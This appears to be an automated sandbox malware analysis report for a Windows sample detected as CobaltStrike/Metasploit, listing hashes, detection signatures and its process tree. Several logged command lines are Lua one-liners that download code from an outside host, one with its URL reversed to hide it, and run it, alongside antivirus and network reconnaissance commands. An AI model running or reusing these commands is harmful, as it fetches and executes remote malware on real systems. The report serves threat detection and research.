Play interactive tour

Edit tour

Windows Analysis Report 8v4iWYLvKJ.exe

Overview

General Information

Sample Name:	8v4iWYLvKJ.exe
Analysis ID:	447941
MD5:	765cf8227a47cef845b23e6b56acf926
SHA1:	e96eed1b8ac0a86bacf7704cd546480a0db5fadc
SHA256:	77e4776f6db16b38b2bd6cd494017379be4cb291caab5300764c9d2857c49108
Tags:	CobaltStrikeexe
Infos:
Most interesting Screenshot:

Detection

CobaltStrike Metasploit

Score:	87
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Compliance

Score:	35
Range:	0 - 100

Signatures

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected CobaltStrike

Yara detected Metasploit Payload

C2 URLs / IPs found in malware configuration

Gathers network related connection and port information

PE file has a writeable .text section

Uses ipconfig to lookup or modify the Windows network settings

Uses netstat to query active network connections and open ports

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

DLL planting / hijacking vulnerabilities found

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

EXE planting / hijacking vulnerabilities found

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Conhost Parent Process Executions

Sigma detected: Suspicious WMI Execution

Too many similar processes found

Tries to load missing DLLs

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

8v4iWYLvKJ.exe (PID: 5688 cmdline: 'C:\Users\user\Desktop\8v4iWYLvKJ.exe' MD5: 765CF8227A47CEF845B23E6B56ACF926)

luac.exe (PID: 1564 cmdline: C:\ProgramData\lua\luac.exe -e 'code = \'local http=require('socket.http');\'..\'local response_body = {}\'..\'local res, code = http.request({\'..\' url = string.reverse('aul.344-SC-1/68x/moc.scnuyila.gnokgnoh-nc-sso.sbilaul//:ptth'),\'..\' sink = ltn12.sink.table(response_body)\'..\'})\'..\'if type(response_body) == 'table' then\'..\' loadstring(table.concat(response_body))()\'..\'else\'..\' print('error')\'..\'end\';loadstring(code)();' MD5: B747D97542F2E512AB640D0A67D5DA91)

cmd.exe (PID: 4424 cmdline: C:\Windows\system32\cmd.exe /c netstat -ano|findstr LISTEN|findstr 127.0.0.1: MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

NETSTAT.EXE (PID: 5992 cmdline: netstat -ano MD5: 4E20FF629119A809BC0E7EE2D18A7FDB)

findstr.exe (PID: 5652 cmdline: findstr LISTEN MD5: 8B534A7FC0630DE41BB1F98C882C19EC)

findstr.exe (PID: 496 cmdline: findstr 127.0.0.1: MD5: 8B534A7FC0630DE41BB1F98C882C19EC)

NETSTAT.EXE (PID: 2480 cmdline: netstat -ano MD5: 4E20FF629119A809BC0E7EE2D18A7FDB)

findstr.exe (PID: 1364 cmdline: findstr LISTEN MD5: 8B534A7FC0630DE41BB1F98C882C19EC)

findstr.exe (PID: 5480 cmdline: findstr 127.0.0.1: MD5: 8B534A7FC0630DE41BB1F98C882C19EC)

cmd.exe (PID: 5672 cmdline: C:\Windows\system32\cmd.exe /c netstat -ano|findstr LISTEN|findstr 127.0.0.1: MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 3296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

NETSTAT.EXE (PID: 3216 cmdline: netstat -ano MD5: 4E20FF629119A809BC0E7EE2D18A7FDB)

findstr.exe (PID: 5768 cmdline: findstr LISTEN MD5: 8B534A7FC0630DE41BB1F98C882C19EC)

findstr.exe (PID: 3008 cmdline: findstr 127.0.0.1: MD5: 8B534A7FC0630DE41BB1F98C882C19EC)

cmd.exe (PID: 5076 cmdline: C:\Windows\system32\cmd.exe /C WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName && WMIC os get caption && ipconfig /all MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 1000 cmdline: WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

WMIC.exe (PID: 1708 cmdline: WMIC os get caption MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

ipconfig.exe (PID: 748 cmdline: ipconfig /all MD5: B0C7423D02A007461C850CD0DFE09318)

cmd.exe (PID: 4720 cmdline: C:\Windows\system32\cmd.exe /C WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName && WMIC os get caption && ipconfig /all MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 3484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 5332 cmdline: WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

WMIC.exe (PID: 5576 cmdline: WMIC os get caption MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

ipconfig.exe (PID: 3360 cmdline: ipconfig /all MD5: B0C7423D02A007461C850CD0DFE09318)

cmd.exe (PID: 5904 cmdline: C:\Windows\system32\cmd.exe /C %ProgramData%\lua\lua.exe -e 'local code = [[local http = require('socket.http');local response_body = {};local res, code = http.request({url = 'http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/Schedule.lua',sink = ltn12.sink.table(response_body)});if type(response_body) == 'table' then loadstring(table.concat(response_body))() else print('error') end;]];loadstring(code)();' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

lua.exe (PID: 2484 cmdline: C:\ProgramData\lua\lua.exe -e 'local code = [[local http = require('socket.http');local response_body = {};local res, code = http.request({url = 'http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/Schedule.lua',sink = ltn12.sink.table(response_body)});if type(response_body) == 'table' then loadstring(table.concat(response_body))() else print('error') end;]];loadstring(code)();' MD5: 847B0D65C80A8E777E8AA108295C0B95)

cmd.exe (PID: 4448 cmdline: C:\Windows\system32\cmd.exe /c netstat -ano|findstr LISTEN|findstr 127.0.0.1: MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6640 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6660 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6692 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6704 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6716 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\examples\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6728 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\test\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6740 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6752 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict-0.21.2.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6764 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6776 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi-2020.12.5.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6788 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6800 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi-1.14.4.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6812 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6824 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet-4.0.0.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6836 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\cli\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6920 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\metadata\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6956 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6996 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod-1.7.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 7032 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 7064 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 7076 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography-3.3.1.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 7088 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 7100 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 7112 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 7124 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 7136 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\openssl\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 7148 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 7160 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 2920 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\ciphers\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5892 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\kdf\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 3636 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\serialization\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6136 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\twofactor\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6072 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\x509\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 4884 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5296 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5492 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Protocol\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 3112 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Random\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5852 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 1092 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 3360 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\async_drivers\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5656 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 3704 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna-2.10.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 4232 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 4468 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\doc\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 3384 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\samples\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 4796 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\test\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5164 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5136 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked-0.1.31.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5140 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commands\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5220 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\templates\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5156 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5232 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5172 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\ntplib-0.3.4.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5184 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5252 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5260 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\extern\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5204 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5532 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\packaging\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5716 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5732 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil-5.8.0.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5756 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5724 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6120 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\__pycache__\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 2288 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 64 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser-2.20.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 3560 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\ply\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 3892 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycryptodome-3.9.9.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6344 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_engineio-3.13.2.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5560 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_socketio-4.6.0.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6320 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32-300.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6408 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32_system32\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5040 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\PyYAML-5.3.1.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 160 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5508 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests-2.25.1.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5504 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6140 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools-51.0.0.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 5008 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 4448 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\extern\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6264 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6272 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6256 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6300 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\packaging\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6228 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6304 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape-3.8.1.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6252 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\six-1.15.0.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 4920 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6392 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6380 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3-1.26.2.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6404 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6416 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\_securetransport\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6172 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6360 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\backports\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 808 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\ssl_match_hostname\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 3236 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\util\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6488 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6476 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\tests\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6460 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\tests\data\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6444 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket_client-0.57.0.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6596 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6592 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel-0.36.2.dist-info\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6612 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\cli\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6556 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\vendored\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6548 cmdline: C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\vendored\packaging\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

